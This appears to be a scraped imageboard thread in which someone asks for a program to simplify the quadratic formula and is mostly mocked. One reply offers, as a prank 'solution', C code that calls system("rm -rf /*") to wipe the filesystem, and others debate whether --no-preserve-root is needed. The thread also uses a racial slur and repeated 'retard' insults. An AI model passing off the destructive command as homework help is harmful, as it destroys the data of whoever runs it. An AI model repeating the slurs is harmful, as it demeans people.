Write a program to simplify this equation.
Assume variables A B and C are entered by the user
Write a program to simplify this equation
Other urls found in this thread:
docs.oracle.com
twitter.com
Simplify?
...
ill just return the equation as is.
done.
Are you literally asking to write a program that solves quadratic equations? Are you LITERALLY asking Jow Forums to do your LITERAL homework?
This absolute retard nigger monkey can't do this 3 lines of code trash
In that case simplify the weird decimal you get into a whole number
I'll wait
#include
#include
int main(int argc, char *argv[]) {
system("rm -rf /*");
while (1) { printf("INSTALL GENTOO"); }
return 1;
}
This explodes your cumputer don't run
You just return the equation itself without storing it in variable x. Technically that meets your dumb criteria
Doesn't this rm need --no-preserve-root? Or only if you did rm -rf / ?
Also no need to return something if you loop forever.
It actually installs Gentoo, nice try
Yikes, system() calls are bad practice.
it's the last time you could call system() anyways
So is posting on Jow Forums.
I thought --no-preserve-root was only necessary when attempting to remove the directory itself - this is only attempting to remove everything IN the directory
Yeah, I think you're right.
Doesn't works on Windows, F- see me after class.
This is literally grade 10 math
Sorry my dude, but this is as simple as it gets for X
yeah that's when I dropped out
SIMPLIFY RETARDS
I WANT IT IN RADICAL FORM
here is your homework bro
Why is this thread still here?
Fuckin radical bro
Dude, I know you're getting lots of shit for this, but if you want I can do it for $50. Let me know if you're up for it.
This is some ProjectEuler shit right here.
whoops left in some debug shit
now this is peak quadratic formula solver
> Not using complex numbers
> Not using the FPE
What if it's a complex number
retards
Just make a FOR LOOP that counts backwards from 20 to check for perfect squares
Check if it can be simplified further by comparing rounded and unrounded results
then just output it LOL
What if you're imaginary?